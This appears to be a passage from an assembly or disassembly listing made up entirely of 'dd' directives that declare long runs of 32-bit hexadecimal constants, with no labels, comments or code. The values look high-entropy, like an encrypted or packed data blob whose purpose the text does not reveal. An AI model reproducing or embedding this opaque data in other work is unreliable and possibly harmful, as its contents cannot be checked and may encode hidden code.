dd 0DE3DF710h, 0E57D730Bh, 8C581721h, 0E895052Dh, 5EB6E92Dh
dd 97B6E712h, 0C94A4C8Bh, 33CD2A48h, 0B264526Ah, 0A35792C1h
dd 0CDD05AB9h, 0F749A804h, 2596B96Bh, 5E0705F9h, 30A6E5B8h
dd 4772F702h, 7596E97Ah, 0FEB4220h, 747BB36Ah, 1B9D4CEAh
dd 0FC0BCB33h, 6D3A44EEh, 0E38101EEh, 45D9143Ah, 0D2ED85FDh
dd 0E9129C6Ah, 1C0AF42Dh, 0F8ECB52Fh, 1761D002h, 71D8F74Ch
dd 7BDB2D89h, 797E168Bh, 0D0C192E5h, 0B9EB2824h, 0C7313617h
dd 0C45FFAE8h, 0EE68EB32h, 0E92566E9h, 93B0275Dh, 0F1C5E060h
dd 4AE52D20h, 53E70F6Bh, 1542CCEBh, 0ABC83EDBh, 5A271210h
dd 8CA87A47h, 9C8CE722h, 8F5D4371h, 4A95ED46h, 17B38014h
dd 44A6E36Fh, 9E307358h, 58F4C2B5h, 785B1225h, 0D0525E57h
dd 4FDF69Dh, 0E72C732Ch, 35B2803h, 69D4101Dh, 0F05001Ah
dd 89E120F2h, 0B6585BC1h, 10924C52h, 275BC667h, 557BA291h
dd 19971E74h, 955C39F0h, 29FBB5Bh, 5DE245CAh, 0E4CFFF48h
dd 67884078h, 121590A9h, 6D13157h, 79ED4E67h, 0D45C4F0Fh
dd 49E6447Dh, 25789EBAh, 6445F830h, 0AB013C9Fh, 61557ED2h
dd 404B91Fh, 0BB4D2EA9h, 0BC7589Ch, 144A9465h, 0D8989C43h
dd 0D60BBE56h, 841E694Dh, 22DC9A1Eh, 8C565EFEh, 5E889F23h
dd 7E250048h, 531F337h, 0A3004E1Ch, 0B730D46h, 2A683491h
dd 20A8658Dh, 0D380043Eh, 0CB3D5B60h, 0E39E96BBh, 86423ADDh
dd 0B6B4573Dh, 64958376h, 0E94BB79Eh, 65680813h, 9DBB3BCCh
dd 12D8F791h, 52EA745Bh, 3321EEF8h, 0F5B88013h, 353A0773h
dd 7E7A590Bh, 0A1F6C00Ch, 54495C6h, 0EC03C725h, 0CB681728h
dd 5A15282Dh, 8BA2CE5Eh, 70925C3Ch, 0C992123h, 20263302h
dd 5FCC8383h, 5EC3E017h, 0D969BF99h, 2C372A97h, 40FACFABh
dd 2B71E3F7h, 0BE5B2D01h, 0E6734EFBh, 0D1FDDA71h, 43A3948Bh
dd 0F0088E73h, 0DF8425E4h, 0F374EF87h, 0C773490h, 3676696Ah
dd 24483E57h, 0A52038E9h, 0F6C6718Ch, 754E6E0Bh, 0E23C0055h
dd 0F876D94Dh, 25AC77EDh, 0E7D631F5h, 690BF33Ch, 76D44BAh
dd 0D925F3BBh, 3C5E20F4h, 25BE950h, 1B0A680Bh, 4DC08D9Ah
dd 72D2CB9h, 2C7AD118h, 6856C0AEh, 38BF5F61h, 82261B4Fh
dd 0F20448F0h, 0A152E79Fh, 611E4280h, 29310260h, 0A417E9D5h
dd 68DB1857h, 0FD3E574Dh, 0E09F855Bh, 3009055Bh, 0CC073815h
dd 3C33F982h, 0D7E2AF2Fh, 0A8CF6140h, 4E478F91h, 0D2B0CDC5h
dd 40890468h, 0AE5E336Eh, 0F9933404h, 1F5B0912h, 19BEC0C0h
dd 6C727112h, 0D6E69DD0h, 0C8E6B85Eh, 0CB201E26h, 7B0F780Eh
dd 4988652Bh, 0E9577A90h, 89B360DDh, 84E35CC7h, 4D518E58h
dd 0C3311632h, 179F16E8h, 5A53F011h, 0CE78809Dh, 50B72A8Eh
dd 0DDCA35h, 0D707316h, 7AF2788Fh, 0FE400501h, 14E9CA17h
dd 411C1E6Bh, 3935600Dh, 0B16C702Ah, 0BA8AC697h, 987E3385h
dd 76F8F799h, 0DA975387h, 13A0FA0h, 0EFC04555h, 15AC90B1h
dd 73FB292Fh, 846813FAh, 0EFB78039h, 0AC5D6F6h, 0EE812CFDh
dd 5AD104F0h, 5351C4h, 0E7D046B7h, 0E93FF780h, 0C384372Ah
dd 4E0F1139h, 67E3EB80h, 0EC7B7155h, 1A8400F3h, 0DD893286h
dd 0EE5A4CE9h, 24F1878Ch, 3A7D5664h, 0BB0DF5B4h, 49FDA912h
dd 32B22318h, 6B0D1B6h, 9096F06Dh, 5EBCF644h, 663BB40Dh
dd 0FD1243A0h, 0E5805BB3h, 7A90ED80h, 5977E8E0h, 60EEB33h
dd 0D7C3E993h, 0B45098C3h, 7EECFC8Ah, 0E1E40295h, 58E9D4F6h
dd 0EBB6594Ah, 903D4720h, 14852065h, 758B6812h, 4088A875h
dd 59A64093h, 25FA490h, 321016A6h, 0FE3751ADh, 642F0D7Ch
dd 0D6F8A47Eh, 0A8FBFC4Dh, 1236B95Ch, 0BAC3D130h, 0CFFE0082h
dd 0C4E71C80h, 1003DAC0h, 6336C057h, 0BFBF49E9h, 0F63CC958h
dd 0EAC8ECC1h, 0F9AD0EBEh, 980DB4E7h, 553C50DAh, 0F412EB58h
dd 687F132h, 503B2F68h, 0A32576C6h, 53051079h, 428C02BBh
dd 0E3C12607h, 2C0939E1h, 48894AF9h, 0B4C8882Ah, 8B34DF59h
dd 5C368B29h, 0BD1144D6h, 734F7570h, 53B88B8Ch, 0B605DE02h
dd 0B3F3887Fh, 0BD523CE1h, 5AF5A7DEh, 0A1949DB4h, 70F50684h
dd 0E92EE87Eh, 5A8FB76Ah, 2470EF5Bh, 3190DBCBh, 2768F3C9h
dd 4A5A520Bh, 397E7764h, 1D12CDE8h, 0C263EDA0h, 90D3665Ch
dd 8281CCEEh, 0E20B91FEh, 0A74BFE07h, 0D2509360h, 0BD40B5B6h
dd 9EE0C06h, 5DE8093Dh, 4747B585h, 0F1E5C1C2h, 2B8E890Fh
dd 0DA2AB4D2h, 0F7F764EDh, 1747E65Eh, 0E45A9D78h, 988C7713h
dd 2A58BE7Ah, 2D8084F2h, 3505F05h, 580C57FBh, 27600588h
dd 4F28F148h, 7A3E74D0h, 877E5AD9h, 3108BA5Bh, 50AEE7ACh
dd 0D5F7EAF1h, 2408DAh, 0E9014DE2h, 3F05957h, 0C6CBBA4Ch
dd 0BA60D2CAh, 4E16CAEAh, 0B4022998h, 0C49EDFE9h, 3CE42A3Bh
dd 204738E5h, 10A44609h, 2420EFECh, 0E18013EAh, 0CD38C18Fh
dd 0C299AA9Ah, 61A4F9Fh, 4F3F6968h, 5AC0820h, 3953F02Dh
dd 5E7EC066h, 14219B46h, 30626D29h, 0FDA48C72h, 4A5EF327h
dd 44CDE234h, 9BC82455h, 0D906AFDFh, 9650ECE7h, 98BF5FAEh
dd 4D20E986h, 0C03B13AFh, 19110698h, 0F282809Bh, 323C49F3h
dd 71080D05h, 2408FB2Ch, 245C25F3h, 3EA00408h, 43C48213h
dd 8AEE8B6Eh, 0B40605C8h, 52C1400Fh, 2B396EBAh, 39DB5C02h
dd 69E9C684h, 9373EF93h, 787C50D3h, 8A805E54h, 5F125C76h
dd 5304F2A6h, 0E2297168h, 0B4DD94FAh, 0C36260EAh, 0B65C2FE9h
dd 0F9B5A740h, 63FD7C94h, 22B068C3h, 0D0342512h, 8AF88ACDh
dd 0DF98950Fh, 37CE0674h, 5B10B117h, 0A9294B96h, 0C224C73Dh
dd 38688454h, 0C601A83Fh, 244751A8h, 0BDB42F4Fh, 0D80DB693h
dd 30296831h, 0B6161D2Fh, 0BDE8AA8h, 54F62F90h, 9B7F3C9h
dd 9C9A140Bh, 0F8F45963h, 0F84B2D27h, 21791F51h, 0E3960B77h
dd 0A5893D76h, 496CF4D3h, 442C6024h, 24BF7F6Ch, 8C43C26Bh
dd 59122C51h, 0E625BE75h, 4C01B9FDh, 146395Bh, 668D6A6Ch
dd 0F05D0C02h, 2A68128Eh, 0ED779D59h, 0FDB1001h, 0A6E5B8Eh
dd 0EE4357h, 195A1E3Bh, 0B297CEE9h, 0C04A1807h, 565B8083h
dd 0CBFE8939h, 0BAF91517h, 0E9555905h, 41F5F13Ah, 2BDAE097h
dd 5827DEA3h, 0F1524C54h, 0BEE24996h, 58005594h, 12BF5756h
dd 23F6D71h, 34091FBEh, 4262E931h, 2F6145B2h, 8B02694Fh
dd 958E347h, 0ED5BA444h, 46896D0Fh, 29252602h, 820F85Eh
dd 21E5F60h, 979C0308h, 657CBE09h, 0C11E802Dh, 12310AE8h
dd 0BEE168C8h, 0DEB98335h
dd 52971737h, 12D5EDBCh, 58847C28h, 0B69A8797h, 5EFCC138h
dd 28CFA3E2h, 6381536Bh, 5CD78860h, 0F7058024h, 8B1E998h
dd 0E0C098D2h, 0B5E4A226h, 5897A3C4h, 55E697A6h, 9038C320h
dd 2DD263B7h, 3C178F66h, 36657E10h, 0EFB68957h, 835BB997h
dd 163CFC68h, 91497CE5h, 6F91D9C3h, 0CA56B67h, 0FB9B5B0h
dd 37D04061h, 4DC9FA4Bh, 3BCC3AECh, 0C494BD1Fh, 7B960620h
dd 20C31E80h, 21DE9BD5h, 247DACF9h, 45F85BD4h, 2D4B2AB2h
dd 257AD1A9h, 74DBAEE3h, 6C2B9EC2h, 9B692F70h, 98226693h
dd 2C62717h, 184B9EF1h, 997D6567h, 0A618BC83h, 21EBE9C0h
dd 26148D33h, 144FEEFh, 45B6525Ch, 2B6DC668h, 76E9DE30h
dd 0BA42A8D2h, 72092E31h, 690F8031h, 0D2F72918h, 0FE90DAE4h
dd 6B825730h, 2E40C7EAh, 10DE32F4h, 8BB901BCh, 895A584Dh
dd 0A50F052Bh, 0BA4D02D4h, 8760F677h, 66970114h, 58ED00B0h
dd 0CD81150Eh, 0C8731E4Ah, 94F7E19Fh, 7A528D2Eh, 28EF21C5h
dd 21C75CEFh, 6213E9F7h, 0C27502F2h, 6EA81941h, 8A0EEF4h
dd 7CC01CC1h, 928853E1h, 0F022324h, 489C8288h, 82A504BDh
dd 3C60C260h, 78215527h, 425004DAh, 87E5C162h, 0D9C83473h
dd 0FCC944DDh, 535E2F5Ch, 0D95E69E5h, 0CBF1FB44h, 0E3E8FF55h
dd 5BBA8050h, 0F6FA310Ah, 9793A49Eh, 48843F16h, 16531B25h
dd 3F2C3300h, 581639Ah, 0E10F10C9h, 2F3CC149h, 0E9720780h
dd 95CF2A3h, 690A53E7h, 0BF48660Fh, 12EAB924h, 0EE95483h
dd 0F4204FF5h, 0A94153E3h, 7913C232h, 603DBE2Dh, 2E4C1429h
dd 0C2C9D349h, 0E0DCBEE6h, 0D91D1258h, 600FB55Bh, 84942C7Ch
dd 0F8514225h, 138D0886h, 0C35011Ch, 6ECC2C7Fh, 9A910AC5h
dd 9A37E78Ah, 0FB7E4A19h, 0AB5DC4CAh, 2D683C3Dh, 827FD136h
dd 28437C98h, 0E9055256h, 88A3386Bh, 428F6809h, 878CEAF9h
dd 95DA632Fh, 69520CA2h, 798E059h, 4CA7E9ADh, 5CCAAEDFh
dd 4B212D23h, 486F095Dh, 3627E9A2h, 0A7547B9Eh, 0EEB38170h
dd 41DC6806h, 0C362563h, 0A4F66F2h, 4CA7B1A1h, 5A9F0256h
dd 90F1F212h, 0E13D0C88h, 8739FB28h, 0B5CE3DD1h, 9C015103h
dd 2D205566h, 5D6527EDh, 78BF2D6Eh, 0CB01C1D4h, 2BF3E9h
dd 0CB02D54h, 55A7EB1h, 917F45A5h, 5591E965h, 0DFD5FDEFh
dd 0F2F84E49h, 0C97A904Ah, 42D6D129h, 2090F1Ch, 56F44001h
dd 0D2DA5E68h, 38F42942h, 0BC89AB89h, 496298D3h, 5D2D029Dh
dd 0D4480CD9h, 0C229764Bh, 131AD4E2h, 4337E187h, 6F3C893Eh
dd 0B62CAF9Ch, 59E9848Dh, 6A5AC9F7h, 0CBAEE0C4h, 6892503Fh
dd 0CF758331h, 0C05A1274h, 4D70B2Eh, 0BE2FDE85h, 0C1819BDCh
dd 3A67395Ah, 0ED16E72h, 2C3F08CAh, 0BD9EAD8Fh, 0F0DC133Dh
dd 45328BBh, 8104CB74h, 0F65E2CE1h, 0F3962CC1h, 0A87E3588h
dd 7A0F4817h, 0F2A4C407h, 0D7168AADh, 0ED239DE5h, 4E276C2Fh
dd 8E10F1B8h, 58B9024Ch, 60627838h, 9488ACD9h, 472C8B9Dh
dd 3C7F3549h, 0F6F05E5Fh, 4EABFA7Eh, 0F7DDC006h, 0C29C52D3h
dd 18ECE941h, 49F2F58Eh, 0B31F1127h, 9776EF82h, 6D2EF103h
dd 0C7C1294Ch, 0BE35082Ah, 3CE77384h, 8D100A52h, 10B701B5h
dd 0E7C0D7F6h, 8943FE88h, 0EAF48003h, 7F01CA53h, 0E8E07FA4h
dd 0BF57C04Ch, 5B55EAFh, 0E9F8297Eh, 1046A932h, 6604BB13h
dd 0BE0A9268h, 6415EC22h, 2E2C3EDEh, 0A4B35303h, 93F2D828h
dd 40D53DCh, 283A12FCh, 5900B1E8h, 0F186C9FEh, 29E9E630h
dd 0BAE4C1Fh, 2DBB622h, 480BD4A4h, 584D5AC8h, 0AF2C2B05h
dd 77BD4053h, 5F17422Ch, 4B13EA89h, 0CA808D42h, 5ADD6A47h
dd 0D3EC200Ah, 4A626876h, 56179D15h, 7EF6E999h, 420A8B69h
dd 0C2EDD681h, 2244D958h, 1C5801Ch, 848FE5C9h, 9DFAD224h
dd 339E2061h, 6A8EA1A9h, 0B4501700h, 73ECC039h, 0E8E45A02h
dd 0FE7909D0h, 112A84CCh, 7A5BA212h, 5B9DBC30h, 7AFA71F2h
dd 16B84A2Ah, 0F48DE997h, 7EEFD144h, 67666802h, 958B81A5h
dd 3913F0AFh, 0B7D1A740h, 536CAA80h, 0F0C31D7h, 6113D983h
dd 0A18009F3h, 0ECF010E9h, 270FADB0h, 0E00ADC34h, 0FF37FEEDh
dd 0B0ECB71Fh, 2B04CB72h, 35E95D5Bh, 2E17D3F9h, 5ABABD78h
dd 153C02D7h, 2A35075Ah, 516E5E17h, 0A6F80243h, 1D07ED56h
dd 0BBF0FD3Eh, 27AF48E1h, 36F02955h, 5DC410E0h, 9AEB44CBh
dd 9FA25B42h, 0BC508296h, 7DD5F702h, 0C5815300h, 0D87E9DC2h
dd 5C3C899Dh, 73680569h, 8EDFFD56h, 2F0B243Fh, 848161FAh
dd 8F0F01A4h, 0D127FEF9h, 0D621DF10h, 0C209CF21h, 0C47A7CF9h
dd 0E8A566A9h, 0F75B930Eh, 0D0D84BD0h, 7E5C3993h, 80360131h
dd 897F3DADh, 0C74FE8CEh, 0E56FC448h, 87BFF950h, 55C04DF5h
dd 0DF0A8C68h, 0CA2E1331h, 735F2DDFh, 73D025E1h, 0A7C47E5Bh
dd 6826F7F3h, 50C06488h, 0AEC110B4h, 0F2BB5B01h, 0ED8263A3h
dd 513C42F5h, 2D076A78h, 14C83538h, 7733FE57h, 3470F911h
dd 0D670A32Fh, 6957A50Bh, 0D8DDD09Ah, 5FE4BA48h, 0EC5AE028h
dd 0D3BF4750h, 9432DE4Bh, 9F97D0CEh, 0D65E8B0Bh, 25C4447Ah
dd 8DC2A73h, 0F4528B72h, 0EA28BEC8h, 4BDD06C1h, 9D425EE9h
dd 309D5DF6h, 0EE659457h, 3A3AB830h, 89F60F6h, 9DFDF80Fh
dd 88C0C34Bh, 0EE9FB2B0h, 0ECA9B542h, 77512F75h, 316F9300h
dd 5AE90238h, 8E811E6Bh, 1FEF1609h, 279C4CAAh, 0FC7AEC54h
dd 7D5EC2F8h, 0C44239FCh, 425A78h, 451DB3EEh, 0A0055954h
dd 16CC481Dh, 0EC2FA240h, 5E71E94Ch, 5F9147D8h, 15A7F135h
dd 2F72F536h, 18F89316h, 0FA40CAA8h, 0D08005B6h, 4CEFEEEh
dd 585208Eh, 4EBCE4E9h, 52D1F606h, 591F38B2h, 2D8BD901h
dd 9C435E3Eh, 75F53963h, 50582CEBh, 0E9990263h, 0FE9A7747h
dd 0BF2798DFh, 1F1C00CAh, 0E4F78133h, 4A485274h, 197E7EF9h
dd 2EE93244h, 6FD7B576h, 9FEBB106h, 97791320h, 0EB6F9E51h
dd 0BD5FC0B7h, 9F421E71h, 0B86F891Eh, 6856385Fh, 0CC2AEF10h
dd 1A4EE3D1h, 76C401BCh, 0EF8002A8h, 0D422632Fh, 435398BFh
dd 0E68B8860h, 0B0CA4C67h, 95BA848Ah, 0CD0C0960h, 640A57A0h
dd 0C69A030h, 45B0E27h, 0E9FB29E7h, 3F4EA1BAh, 0D2DF1DA2h
dd 4B8D824Ch, 388A98E8h, 87196E0Bh, 7BAC86D3h, 0DB40B73Ch
dd 0F893FE08h, 0B5CEB340h, 0A04EB74Fh, 0ECCBAE2Dh, 24FC9457h
dd 3DF510E3h, 24C8CEB9h, 0C6021753h, 0BFBD010Dh, 7B3EBC0Eh
dd 6808A650h, 3F2C141Ch, 2041AC17h, 2934C8B0h, 0E4C788F8h
dd 48997F9h, 0E98638EDh, 9788BEB0h, 6875651Ah, 80D9A44Ch
dd 45EE5A54h, 0E7DB9354h, 0C70F2273h, 0ADDFF64Fh, 0AD3083DDh
dd 2B54128Bh, 0B31DE862h, 5B2204F5h, 0C24A8F2Ch, 1C79B2F5h
dd 372F1A3Ch, 26A0682Ah, 1E690E46h, 3B412D0Dh, 30E0C138h
dd 1C208837h, 0E445B5D1h, 553E5609h, 119F1E18h, 0F1BB3A95h
dd 0A22D8169h, 2E16B875h, 7015484h, 3457685Bh, 0ADD68738h
dd 332D8F8Dh, 4B4E5ACAh, 65904155h, 919C3667h, 6CB25444h
dd 4F55E393h, 5207B8A8h, 700A70BAh, 5EAC167h, 8B840F09h
dd 98A1FA76h, 367924E4h, 0EF96084Dh, 0E8E4D328h, 416A5C82h
dd 0DCB2BB50h, 1250903h, 0CD7D85Ch, 74E5E951h, 8B00BF2Ch
dd 8157DA5Eh, 9596EEFh, 0EAE94E8Fh, 93BA4F0h, 67A5B5D6h
dd 0B54FFEA9h, 2C306BCDh, 4D96E9C3h, 0F130A573h, 7F46681Dh
dd 7A253892h, 6C083A97h, 872940D5h, 0D75CA3AAh, 0A6ECC7AFh
dd 0FEF0A78Ah, 0F5795A69h
dd 0D34D59B4h, 73451240h, 0D23A1EA7h, 1FC036C4h, 0D687F229h
dd 0C20B05Ah, 768481Fh, 3271180Ch, 0CCE9E41Ah, 0C378542Dh
dd 6CF1454Dh, 12452624h, 0B529D2B2h, 0CA9DD030h, 6D81BA16h
dd 48E33674h, 0D72D4BD5h, 395AE201h, 951E32Bh, 0DC7C4768h
dd 11827AF3h, 0C4F4185Bh, 493568D0h, 2887B19h, 0B4AD2992h
dd 0A159BC4Ah, 0A815729Ch, 5A79F248h, 86D33DEh, 375A8115h
dd 2F09692Ch, 854E1C5Fh, 0D433686Bh, 9AC1F2C3h, 514804DAh
dd 7A6A24Bh, 0C180B7B3h, 0F87BD4F8h, 61582FD7h, 13C1898Dh
dd 0EC802D03h, 8E9FE980h, 0AF40868Ch, 0DFEB00B3h, 0F352833h
dd 43A8748Ch, 45274330h, 2CC56071h, 1F42D6FFh, 0FC0B1610h
dd 0E4BDE297h, 0AEE95C4Ah, 972B3241h, 3562B242h, 0FEBCAE7Dh
dd 40FD42AFh, 0DF071F0Bh, 98D552F7h, 224A27ABh, 0C4C4B8E8h
dd 0B932AB6Dh, 55CBA9E2h, 0E8F4D605h, 800F0B8Ah, 7F79428Ah
dd 0D934376Ch, 74779C86h, 7B3F8EE2h, 0C66E27C7h, 421B6812h
dd 0B5628B8Fh, 65F827E9h, 203AAD4Ch, 0A3CCB782h, 747F6804h
dd 8A8B6F5Bh, 87D1F700h, 13DEE9F9h, 4B8D99BEh, 0D93F487Ah
dd 3E70A436h, 2A31EE03h, 0DE0C0B15h, 9503455Ch, 0E9E55EF0h
dd 54532D9Ch, 2EF7622Eh, 81ECD62Fh, 0F8C4E9C4h, 5A5926B2h
dd 8AF386CFh, 0AA25B782h, 45991646h, 80EBD130h, 766A0F02h
dd 0FB09370Ah, 5C03B25Fh, 0B20A902Ch, 9DADC4C5h, 462081D8h
dd 0B92D4AFCh, 315B0771h, 0C4098FC3h, 51AD24CFh, 0C74E12FAh
dd 99466978h, 5DEE8912h, 2B068EC5h, 0B127EA0Dh, 0CBEE24C5h
dd 0E0CD444Bh, 5100466Fh, 0D9F070B9h, 51CE29D2h, 0D43ADF59h
dd 0E54BFD7Fh, 147E39AEh, 0E46BFCCDh, 569985EAh, 0C9A6ED68h
dd 68410257h, 0C301C9A0h, 0FB964023h, 34274D7h, 252F6E58h
dd 1046F268h, 4B627995h, 600B5C53h, 0B0A66E7Ch, 16F64AEDh
dd 4AAEF877h, 0C994F9E9h, 0F0614A2Ah, 0A2475B15h, 16FFD3CFh
dd 8198B3D9h, 36052915h, 3507B02Ah, 814A410Bh, 2DB0540Dh
dd 0A4306EF2h, 53F83F0Bh, 2C7417B3h, 7419FCDCh, 7B5CF7A2h
dd 0C8FC2227h, 0D559E9D6h, 0B75290E2h, 26BE0B48h, 0CF08AE9h
dd 0B26CE68Ah, 0FBB8D698h, 0FE50661Bh, 0F358AB54h, 0A0DFB3EBh
dd 5CD7E9D9h, 0E997C134h, 0AD313F42h, 2DF7965Bh, 46655FF8h
dd 7FBC4925h, 8F120228h, 0F91D7D47h, 0D95759EDh, 0E7D03AC1h
dd 0C0707615h, 455EF53Eh, 0AA258A0Fh, 5A56DEB7h, 4B9FA70Fh
dd 132992E9h, 8A0B0844h, 59DD88E8h, 0E5A26A3Dh, 5CE4084h
dd 1456CAF5h, 0D58AC2BDh, 5925A965h, 6EEA096Ch, 0EC314F5h
dd 92534CB9h, 0ACB8BFC0h, 14FF36Dh, 3E2B4BCh, 2E5E1A69h
dd 0ED403D7Dh, 0CA16EADh, 1EB1E923h, 85D3A843h, 16A2E5ACh
dd 0C813C644h, 9983204h, 0B6414E42h, 5BE64488h, 0E95CB09Dh
dd 43E449BFh, 156BF719h, 59162E8Ch, 0F8D7A9E3h, 0F22DF033h
dd 3D062C44h, 0FBB3001h, 9754F486h, 740B8E2h, 59A2C68h
dd 8EE06C95h, 94B1510Eh, 0D63A89E9h, 0B882BEFFh, 2AD4C16h
dd 811CB154h, 52B3ECC2h, 0A289DDFDh, 0A25D684Ah, 75ED81F7h
dd 8CE23A90h, 0A0017DEh, 89A9F719h, 0C15909CFh, 0FC0005E7h
dd 0FD03EF9Ah, 0BA2094Fh, 2F31CB10h, 131B5353h, 4D0EE09Ch
dd 0D296D5B0h, 4F02802h, 49FB793Fh, 14680007h, 0C4E9E87Dh
dd 5C010E16h, 95C9EB80h, 5A111820h, 0B704CFE3h, 0A0E7E976h
dd 51975413h, 8B2C0DDBh, 2CF5277Eh, 82160B57h, 0F88310A5h
dd 0A2E71A5Dh, 2D105FE9h, 0DD95F7Ch, 9FEB33Ah, 10B30F66h
dd 81C3FE85h, 62BE404Eh, 474FC761h, 0DE07AFE8h, 0D06C6F4Ah
dd 0A82194F6h, 8981345Eh, 0BC057314h, 0D159B077h, 984F71E7h
dd 3FF6B4Dh, 0C03101D4h, 73BBB673h, 0DD62C227h, 5314985Dh
dd 80CF5E88h, 93345940h, 4D203490h, 0D0F6078Dh, 0B203E8C0h
dd 0E544688h, 0FBBC6B8Bh, 9190BD2Eh, 0A85F2C0Fh, 4194118h
dd 6C61E1B5h, 5101D100h, 9AB43B50h, 0FEDAF480h, 1C8B0FC4h
dd 29982DBCh, 0CDCA01B3h, 2B0F6EB4h, 0D3255904h, 1C7D3109h
dd 8F681E39h, 0A2A245Ah, 0CB53BD65h, 50272300h, 6F907186h
dd 5D0D2369h, 0F4E60E05h, 6C629069h, 91AF13Dh, 0DB232382h
dd 86162209h, 89B6C559h, 0F0409B3h, 0F1800335h, 14C1982Fh
dd 2ACF7D28h, 1DAEF244h, 1ECBFEDBh, 0DF7AC9D3h, 18BFEB90h
dd 89598509h, 0CB3380F3h, 0F7FC690Ch, 367F0C87h, 3DE991E5h
dd 0BD992FFBh, 8B3902EEh, 0E75CD009h, 5347936Ah, 2B86A7F1h
dd 0B6931FE7h, 365531FDh, 99056DD7h, 0B307A00Ah, 0AD98024Bh
dd 0E70E5EA8h, 73C811BDh, 842FE45Ah, 9F31104Ah, 0B79F7919h
dd 1FBCBD0h, 337DE56Ah, 1089C013h, 0E969168Ch, 0BD474086h
dd 35DA6E3Eh, 0AACD8103h, 4179A764h, 0AE1088E5h, 95DDF780h
dd 0C8E64DF8h, 0CAC594Eh, 0F3F5A878h, 20190510h, 0EAEB834Fh
dd 6240EC19h, 68592382h, 6EA02EB5h, 512921BAh, 1D983866h
dd 2E2B70Dh, 0F054BF85h, 0B5EC4640h, 0D81A39E3h, 94E26624h
dd 0C82942F1h, 991371FBh, 7A4DD4ACh, 10F8E9B4h, 0D841A003h
dd 5AF88A2Fh, 596270A2h, 7CD4712Bh, 0CB0FF34Bh, 0E9858A59h
dd 5953A0EEh, 9ED728F0h, 0CA872EB2h, 7148811h, 0DC555B09h
dd 0CD04EB20h, 9FBD12D0h, 7F34050h, 430C39ABh, 0B19C750Fh
dd 644E3EF4h, 0C0491B2h, 0F437E95Bh, 0D148C2F7h, 48D41637h
dd 0D8A61362h, 0AFEABD5Ah, 0A1147DEBh, 30308E1Fh, 69D77E4Bh
dd 5715037Eh, 391472BFh, 6E5A31B2h, 0B4343509h, 8132D51Ch
dd 0DD3AE606h, 0DF324A95h, 27447C01h, 0A34D2025h, 568C1812h
dd 0E810441Bh, 0B01D7F2Dh, 45C213CEh, 97D41C29h, 0B29CC8FBh
dd 4CD6564Ch, 0C828B089h, 0CC120E9h, 0B7BDBF4Fh, 12FB011Fh
dd 0BDA5C468h, 19D75E1Ch, 55D2DBD5h, 9353D4D2h, 0EFE82343h
dd 314C34A8h, 94FB892Ah, 0C4C75F5Dh, 72F91293h, 39D2D7D6h
dd 5C279F76h, 6E01795Bh, 56086910h, 5BE93FEEh, 315ACD81h
dd 40192B20h, 0D36F8984h, 312DB88Dh, 50D5B6DEh, 29C4F121h
dd 0AEFCCEE9h, 0BC07EC4Eh, 9909E8E9h, 57559E49h, 0E7AE5CAAh
dd 0C1ADE254h, 781244h, 80FD5E70h, 3EAC030h, 0ACAFE30h
dd 30E28602h, 0E908D4F6h, 0D7BA3271h, 0B27C7222h, 489A4D49h
dd 2CC9FE16h, 0C84AE926h, 55830684h, 8047000Bh, 0D930FAC3h
dd 0BD48045Bh, 4C2C3A04h, 99B57050h, 0FB30B579h, 815C5EB7h
dd 711CC78Eh, 0BD498ABCh, 0DE253702h, 74960B22h, 4E3263D9h
dd 5B840908h, 64FADFh, 9ACE301h, 0EB5774ABh, 5D12082Ah
dd 5B4C6D8Fh, 591DD620h, 927CEA83h, 939B2927h, 9D20872Ah
dd 0AB855582h, 0AA51EFA4h, 2DBD0EC0h, 2576038Eh, 2140FB1h
dd 2F230DC0h, 84126778h, 0B1A2F24Fh, 419E1810h, 47846A86h
dd 2F7EE1E9h, 6EF19128h, 0E981C8C9h, 183B6264h, 4055CDFEh
dd 1FB15162h, 0FBCE88C0h, 65F1942Fh, 0E9565DE0h, 0B382A842h
dd 0EBC02F67h, 35370E82h, 1762785Ah, 68E6A10Bh, 318D0F76h
dd 8CB99581h, 0F2A781A0h, 878AFEFCh, 2967E02Eh, 17E420E7h
dd 6037A12h, 0A48C67EAh, 478F03F4h, 0A91CC240h, 29FDDE80h
dd 0DE16F41h, 305BB017h, 14F527B5h, 0D6A8BAAh, 0FBE77DE9h
dd 3CD3B03Eh, 6334294Fh, 0C27788AEh, 330C6A60h, 0BD9288E9h
dd 0C4978AE6h, 0A5DD27BDh, 54F79BC8h, 0FC7ECB25h, 0FA350799h
dd 0AE4EB439h, 20229E18h, 2376040Fh, 0FE05E1C1h, 0AB83985Dh
dd 0B508CE43h, 0ED71C980h
dd 0F5C7EA42h, 3B8B3A6Dh, 5493F1F9h, 0BCCE64AFh, 92B3D39Dh
dd 9BA9E909h, 6E0E3C7Ah, 0C458E528h, 80ABB7EDh, 1FC9E901h
dd 9C821F9Eh, 543079CFh, 985408B4h, 31176C26h, 28FA1152h
dd 0EE5F6BCFh, 9785D927h, 5484B795h, 0E26367FAh, 1248C9E7h
dd 3080672Eh, 0D2CEE4F1h, 83340808h, 0C1CCE909h, 0C57F5CABh
dd 12F581D6h, 10C97D8Fh, 0A5408A61h, 0A6BCC106h, 0F977453Fh
dd 5B299373h, 0C19674FAh, 39761984h, 16BB94F9h, 0B7A3FBC7h
dd 1A07984Eh, 29A62BFFh, 0B01EE9C5h, 7DB25A63h, 4B37FA97h
dd 8465925Fh, 0B1080056h, 0E2CC3A66h, 0C62EF345h, 57809B0h
dd 0A4358178h, 21190A26h, 50F14F14h, 7D43B8F8h, 0F72E9053h
dd 64E1E9F8h, 814B48CAh, 8185CDC4h, 6E9BEBADh, 277833AAh
dd 8813293Fh, 16521DDFh, 8578A2EAh, 0BB51A68Eh, 0F9F602D9h
dd 76CE6CE9h, 937FEFD1h, 12F9E9F1h, 0BD697Ah, 4BAD3D12h
dd 4E00D815h, 2D3EE847h, 0AB7FF507h, 0E5B5E93Ah, 0F9067CBDh
dd 0E81BEE23h, 622CFE98h, 0DE8864F3h, 0C3FE0ABCh, 0D4801F02h
dd 0F8309DB8h, 79ADF693h, 921E113Dh, 9B7183ABh, 0D86B757Ah
dd 634AE960h, 0F7EA4041h, 0DACB550Eh, 0B7CD706Fh, 308E99C5h
dd 9C64DF0h, 6325A9Bh, 20840D4Ch, 0BFB62D65h, 0ED2EA78h
dd 68EB61ABh, 85975079h, 2FBF219Dh, 9796AACFh, 0AC80C44Fh
dd 0B76B3CF1h, 0CECC4F40h, 59CA2C29h, 69E9C23Dh, 0F161264Ah
dd 8B06A808h, 133FB33Fh, 28EFD99Dh, 535E5D66h, 0F05BB222h
dd 81BB6781h, 4391E25Ch, 8B9D8C59h, 27C73E25h, 0E641E3E9h
